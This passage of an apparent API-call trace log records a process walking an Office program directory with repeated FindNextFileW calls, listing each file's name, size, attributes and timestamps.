lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcab1b00, ftCreationTime.dwHighDateTime=0x1cabea2, ftLastAccessTime.dwLowDateTime=0x593ede30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcab1b00, ftLastWriteTime.dwHighDateTime=0x1cabea2, nFileSizeHigh=0x0, nFileSizeLow=0x62588, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPPT.OLB", cAlternateFileName="")) returned 1 [0079.210] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1570ec00, ftCreationTime.dwHighDateTime=0x1cbc479, ftLastAccessTime.dwLowDateTime=0xe57c63a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1570ec00, ftLastWriteTime.dwHighDateTime=0x1cbc479, nFileSizeHigh=0x0, nFileSizeLow=0xd65a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPRJ.OLB", cAlternateFileName="")) returned 1 [0079.210] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a6ae000, ftCreationTime.dwHighDateTime=0x1cba07f, ftLastAccessTime.dwLowDateTime=0xdac3c1c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4a6ae000, ftLastWriteTime.dwHighDateTime=0x1cba07f, nFileSizeHigh=0x0, nFileSizeLow=0x4e760, dwReserved0=0x0, dwReserved1=0x0, cFileName="msproof7.dll", cAlternateFileName="")) returned 1 [0079.210] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x324d2e00, ftCreationTime.dwHighDateTime=0x1caca25, ftLastAccessTime.dwLowDateTime=0x593ede30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x324d2e00, ftLastWriteTime.dwHighDateTime=0x1caca25, nFileSizeHigh=0x0, nFileSizeLow=0x1963b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPST32.DLL", cAlternateFileName="")) returned 1 [0079.210] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83e01e00, ftCreationTime.dwHighDateTime=0x1cab8a8, ftLastAccessTime.dwLowDateTime=0x6a1356f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x83e01e00, ftLastWriteTime.dwHighDateTime=0x1cab8a8, nFileSizeHigh=0x0, nFileSizeLow=0xdb4b68, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPUB.EXE", cAlternateFileName="")) returned 1 [0079.210] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5d978100, ftCreationTime.dwHighDateTime=0x1cab7c9, ftLastAccessTime.dwLowDateTime=0x59413f90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5d978100, ftLastWriteTime.dwHighDateTime=0x1cab7c9, nFileSizeHigh=0x0, nFileSizeLow=0x4b7, dwReserved0=0x0, dwReserved1=0x0, cFileName="mspub.exe.manifest", cAlternateFileName="")) returned 1 [0079.210] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33918f00, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0x59413f90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x33918f00, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0x3ff28, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPUB.TLB", cAlternateFileName="")) returned 1 [0079.210] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32ad2d00, ftCreationTime.dwHighDateTime=0x1cab7c9, ftLastAccessTime.dwLowDateTime=0x5943a0f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x32ad2d00, ftLastWriteTime.dwHighDateTime=0x1cab7c9, nFileSizeHigh=0x0, nFileSizeLow=0xd1160, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSQRY32.EXE", cAlternateFileName="")) returned 1 [0079.210] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xadd30b00, ftCreationTime.dwHighDateTime=0x1cab7ea, ftLastAccessTime.dwLowDateTime=0x5a89bd50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xadd30b00, ftLastWriteTime.dwHighDateTime=0x1cab7ea, nFileSizeHigh=0x0, nFileSizeLow=0x1e550, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSRTEDIT.DLL", cAlternateFileName="")) returned 1 [0079.210] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40dec00, ftCreationTime.dwHighDateTime=0x1cb7010, ftLastAccessTime.dwLowDateTime=0xcf055920, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x40dec00, ftLastWriteTime.dwHighDateTime=0x1cb7010, nFileSizeHigh=0x0, nFileSizeLow=0xff368, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTORDB.EXE", cAlternateFileName="")) returned 1 [0079.210] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7931a00, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0x59460250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe7931a00, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0x20158, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTORE.EXE", cAlternateFileName="")) returned 1 [0079.210] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8c44700, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0x6a28c350, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe8c44700, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0x89b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTORES.DLL", cAlternateFileName="")) returned 1 [0079.210] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd7466000, ftCreationTime.dwHighDateTime=0x1caccde, ftLastAccessTime.dwLowDateTime=0x6a2fe770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd7466000, ftLastWriteTime.dwHighDateTime=0x1caccde, nFileSizeHigh=0x0, nFileSizeLow=0xdc158, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSWORD.OLB", cAlternateFileName="")) returned 1 [0079.210] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x633f6700, ftCreationTime.dwHighDateTime=0x1c9ce43, ftLastAccessTime.dwLowDateTime=0x6a3248d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x633f6700, ftLastWriteTime.dwHighDateTime=0x1c9ce43, nFileSizeHigh=0x0, nFileSizeLow=0x46530, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSYUBIN7.DLL", cAlternateFileName="")) returned 1 [0079.210] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e32200, ftCreationTime.dwHighDateTime=0x1c62ad6, ftLastAccessTime.dwLowDateTime=0x594ac510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4e32200, ftLastWriteTime.dwHighDateTime=0x1c62ad6, nFileSizeHigh=0x0, nFileSizeLow=0x1536, dwReserved0=0x0, dwReserved1=0x0, cFileName="MYSL.ICO", cAlternateFileName="")) returned 1 [0079.210] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x636bfc00, ftCreationTime.dwHighDateTime=0x1cb7010, ftLastAccessTime.dwLowDateTime=0xd79ccfa0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x636bfc00, ftLastWriteTime.dwHighDateTime=0x1cb7010, nFileSizeHigh=0x0, nFileSizeLow=0x1b968, dwReserved0=0x0, dwReserved1=0x0, cFileName="NAME.DLL", cAlternateFileName="")) returned 1 [0079.210] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19a7a600, ftCreationTime.dwHighDateTime=0x1cab99a, ftLastAccessTime.dwLowDateTime=0x6a3bce50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x19a7a600, ftLastWriteTime.dwHighDateTime=0x1cab99a, nFileSizeHigh=0x0, nFileSizeLow=0x4780, dwReserved0=0x0, dwReserved1=0x0, cFileName="NAMECONTROLPROXY.DLL", cAlternateFileName="")) returned 1 [0079.210] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19a7a600, ftCreationTime.dwHighDateTime=0x1cab99a, ftLastAccessTime.dwLowDateTime=0x59544a90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x19a7a600, ftLastWriteTime.dwHighDateTime=0x1cab99a, nFileSizeHigh=0x0, nFileSizeLow=0x1ab80, dwReserved0=0x0, dwReserved1=0x0, cFileName="NAMECONTROLSERVER.EXE", cAlternateFileName="")) returned 1 [0079.210] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x948ed600, ftCreationTime.dwHighDateTime=0x1ca913a, ftLastAccessTime.dwLowDateTime=0xbdf30d20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x948ed600, ftLastWriteTime.dwHighDateTime=0x1ca913a, nFileSizeHigh=0x0, nFileSizeLow=0x26180, dwReserved0=0x0, dwReserved1=0x0, cFileName="NAMEEXT.DLL", cAlternateFileName="")) returned 1 [0079.210] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b465500, ftCreationTime.dwHighDateTime=0x1cacf36, ftLastAccessTime.dwLowDateTime=0x6a4c77f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b465500, ftLastWriteTime.dwHighDateTime=0x1cacf36, nFileSizeHigh=0x0, nFileSizeLow=0x77cdb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NL7Data0011.DLL", cAlternateFileName="")) returned 1 [0079.210] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b465500, ftCreationTime.dwHighDateTime=0x1cacf36, ftLastAccessTime.dwLowDateTime=0x59590d50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b465500, ftLastWriteTime.dwHighDateTime=0x1cacf36, nFileSizeHigh=0x0, nFileSizeLow=0x258bb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NL7Lexicons0011.DLL", cAlternateFileName="")) returned 1 [0079.210] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17736b00, ftCreationTime.dwHighDateTime=0x1cbae39, ftLastAccessTime.dwLowDateTime=0xa225ad60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x17736b00, ftLastWriteTime.dwHighDateTime=0x1cbae39, nFileSizeHigh=0x0, nFileSizeLow=0x589bb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NL7MODELS0009.dll", cAlternateFileName="")) returned 1 [0079.210] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56a36d00, ftCreationTime.dwHighDateTime=0x1cba080, ftLastAccessTime.dwLowDateTime=0xa7323800, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x56a36d00, ftLastWriteTime.dwHighDateTime=0x1cba080, nFileSizeHigh=0x0, nFileSizeLow=0x5ef3b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NL7MODELS000A.dll", cAlternateFileName="")) returned 1 [0079.210] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c1cc400, ftCreationTime.dwHighDateTime=0x1cba07f, ftLastAccessTime.dwLowDateTime=0xa4b90a40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3c1cc400, ftLastWriteTime.dwHighDateTime=0x1cba07f, nFileSizeHigh=0x0, nFileSizeLow=0x5697b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NL7MODELS000C.dll", cAlternateFileName="")) returned 1 [0079.210] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b465500, ftCreationTime.dwHighDateTime=0x1cacf36, ftLastAccessTime.dwLowDateTime=0x6a513ab0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b465500, ftLastWriteTime.dwHighDateTime=0x1cacf36, nFileSizeHigh=0x0, nFileSizeLow=0x652bb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NL7Models0011.DLL", cAlternateFileName="")) returned 1 [0079.210] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42d95200, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0x59590d50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42d95200, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0x47a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NPAUTHZ.DLL", cAlternateFileName="")) returned 1 [0079.210] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1bc1b000, ftCreationTime.dwHighDateTime=0x1cbe56f, ftLastAccessTime.dwLowDateTime=0xe07baf60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1bc1b000, ftLastWriteTime.dwHighDateTime=0x1cbe56f, nFileSizeHigh=0x0, nFileSizeLow=0x1ceb168, dwReserved0=0x0, dwReserved1=0x0, cFileName="OART.DLL", cAlternateFileName="")) returned 1 [0079.210] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b7fea00, ftCreationTime.dwHighDateTime=0x1cac1ed, ftLastAccessTime.dwLowDateTime=0x5969b6f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b7fea00, ftLastWriteTime.dwHighDateTime=0x1cac1ed, nFileSizeHigh=0x0, nFileSizeLow=0x124e978, dwReserved0=0x0, dwReserved1=0x0, cFileName="OARTCONV.DLL", cAlternateFileName="")) returned 1 [0079.210] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3ce9100, ftCreationTime.dwHighDateTime=0x1c21319, ftLastAccessTime.dwLowDateTime=0x6b251510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc3ce9100, ftLastWriteTime.dwHighDateTime=0x1c21319, nFileSizeHigh=0x0, nFileSizeLow=0xd00c, dwReserved0=0x0, dwReserved1=0x0, cFileName="OCRHC.DAT", cAlternateFileName="")) returned 1 [0079.210] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3ce9100, ftCreationTime.dwHighDateTime=0x1c21319, ftLastAccessTime.dwLowDateTime=0x5969b6f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc3ce9100, ftLastWriteTime.dwHighDateTime=0x1c21319, nFileSizeHigh=0x0, nFileSizeLow=0xa00c, dwReserved0=0x0, dwReserved1=0x0, cFileName="OCRVC.DAT", cAlternateFileName="")) returned 1 [0079.210] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67a5b300, ftCreationTime.dwHighDateTime=0x1ca99c5, ftLastAccessTime.dwLowDateTime=0x5969b6f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x67a5b300, ftLastWriteTime.dwHighDateTime=0x1ca99c5, nFileSizeHigh=0x0, nFileSizeLow=0x1c99, dwReserved0=0x0, dwReserved1=0x0, cFileName="OEMPRINT.CAT", cAlternateFileName="")) returned 1 [0079.210] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e266b00, ftCreationTime.dwHighDateTime=0x1cbd863, ftLastAccessTime.dwLowDateTime=0xdb444c00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x7e266b00, ftLastWriteTime.dwHighDateTime=0x1cbd863, nFileSizeHigh=0x0, nFileSizeLow=0x961380, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFOWC.DLL", cAlternateFileName="")) returned 1 [0079.211] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39d43b00, ftCreationTime.dwHighDateTime=0x1cab7c9, ftLastAccessTime.dwLowDateTime=0x59759dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x39d43b00, ftLastWriteTime.dwHighDateTime=0x1cab7c9, nFileSizeHigh=0x0, nFileSizeLow=0x123e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFRHD.DLL", cAlternateFileName="")) returned 1 [0079.211] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54f27b00, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0x5977ff30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54f27b00, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0x7d778, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFXML.DLL", cAlternateFileName="")) returned 1 [0079.211] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32a39900, ftCreationTime.dwHighDateTime=0x1c6f3cf, ftLastAccessTime.dwLowDateTime=0x5977ff30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x32a39900, ftLastWriteTime.dwHighDateTime=0x1c6f3cf, nFileSizeHigh=0x0, nFileSizeLow=0x9bb30, dwReserved0=0x0, dwReserved1=0x0, cFileName="ogalegit.dll", cAlternateFileName="")) returned 1 [0079.211] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbfc62000, ftCreationTime.dwHighDateTime=0x1cb6ffe, ftLastAccessTime.dwLowDateTime=0xdd1216c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xbfc62000, ftLastWriteTime.dwHighDateTime=0x1cb6ffe, nFileSizeHigh=0x0, nFileSizeLow=0x4bc778, dwReserved0=0x0, dwReserved1=0x0, cFileName="OIMG.DLL", cAlternateFileName="")) returned 1 [0079.211] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd58faa00, ftCreationTime.dwHighDateTime=0x1cba06e, ftLastAccessTime.dwLowDateTime=0xd79f3100, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd58faa00, ftLastWriteTime.dwHighDateTime=0x1cba06e, nFileSizeHigh=0x0, nFileSizeLow=0x49168, dwReserved0=0x0, dwReserved1=0x0, cFileName="OIS.EXE", cAlternateFileName="")) returned 1 [0079.211] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd58faa00, ftCreationTime.dwHighDateTime=0x1cba06e, ftLastAccessTime.dwLowDateTime=0xd7afdaa0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd58faa00, ftLastWriteTime.dwHighDateTime=0x1cba06e, nFileSizeHigh=0x0, nFileSizeLow=0x175970, dwReserved0=0x0, dwReserved1=0x0, cFileName="OISAPP.DLL", cAlternateFileName="")) returned 1 [0079.211] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc74da00, ftCreationTime.dwHighDateTime=0x1cab7c9, ftLastAccessTime.dwLowDateTime=0x6bd53ad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcc74da00, ftLastWriteTime.dwHighDateTime=0x1cab7c9, nFileSizeHigh=0x0, nFileSizeLow=0x6988, dwReserved0=0x0, dwReserved1=0x0, cFileName="oisctrl.dll", cAlternateFileName="")) returned 1 [0079.211] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd58faa00, ftCreationTime.dwHighDateTime=0x1cba06e, ftLastAccessTime.dwLowDateTime=0xd7b23c00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd58faa00, ftLastWriteTime.dwHighDateTime=0x1cba06e, nFileSizeHigh=0x0, nFileSizeLow=0x59f78, dwReserved0=0x0, dwReserved1=0x0, cFileName="OISGRAPH.DLL", cAlternateFileName="")) returned 1 [0079.211] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe31ae500, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0x6bd9fd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe31ae500, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0x3f580, dwReserved0=0x0, dwReserved1=0x0, cFileName="OLKFSTUB.DLL", cAlternateFileName="")) returned 1 [0079.211] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42068a00, ftCreationTime.dwHighDateTime=0x1c7cc60, ftLastAccessTime.dwLowDateTime=0x597cc1f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42068a00, ftLastWriteTime.dwHighDateTime=0x1c7cc60, nFileSizeHigh=0x0, nFileSizeLow=0x1374c, dwReserved0=0x0, dwReserved1=0x0, cFileName="OLKIRM.XML", cAlternateFileName="")) returned 1 [0079.211] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42068a00, ftCreationTime.dwHighDateTime=0x1c7cc60, ftLastAccessTime.dwLowDateTime=0x6bd9fd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42068a00, ftLastWriteTime.dwHighDateTime=0x1c7cc60, nFileSizeHigh=0x0, nFileSizeLow=0x13594, dwReserved0=0x0, dwReserved1=0x0, cFileName="OLKIRMV.XML", cAlternateFileName="")) returned 1 [0079.211] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x34af8800, ftCreationTime.dwHighDateTime=0x1caca25, ftLastAccessTime.dwLowDateTime=0x6be5e470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x34af8800, ftLastWriteTime.dwHighDateTime=0x1caca25, nFileSizeHigh=0x0, nFileSizeLow=0x44ab80, dwReserved0=0x0, dwReserved1=0x0, cFileName="OLMAPI32.DLL", cAlternateFileName="")) returned 1 [0079.211] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33e85b00, ftCreationTime.dwHighDateTime=0x1c9e5a5, ftLastAccessTime.dwLowDateTime=0x597cc1f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x33e85b00, ftLastWriteTime.dwHighDateTime=0x1c9e5a5, nFileSizeHigh=0x0, nFileSizeLow=0x172bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="OMML2MML.XSL", cAlternateFileName="")) returned 1 [0079.211] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46c75c00, ftCreationTime.dwHighDateTime=0x1cab8a7, ftLastAccessTime.dwLowDateTime=0x6be845d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x46c75c00, ftLastWriteTime.dwHighDateTime=0x1cab8a7, nFileSizeHigh=0x0, nFileSizeLow=0x10d980, dwReserved0=0x0, dwReserved1=0x0, cFileName="OMSMAIN.DLL", cAlternateFileName="")) returned 1 [0079.211] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46c75c00, ftCreationTime.dwHighDateTime=0x1cab8a7, ftLastAccessTime.dwLowDateTime=0x597cc1f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x46c75c00, ftLastWriteTime.dwHighDateTime=0x1cab8a7, nFileSizeHigh=0x0, nFileSizeLow=0x59d90, dwReserved0=0x0, dwReserved1=0x0, cFileName="OMSXP32.DLL", cAlternateFileName="")) returned 1 [0079.211] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82531f00, ftCreationTime.dwHighDateTime=0x1cab7f0, 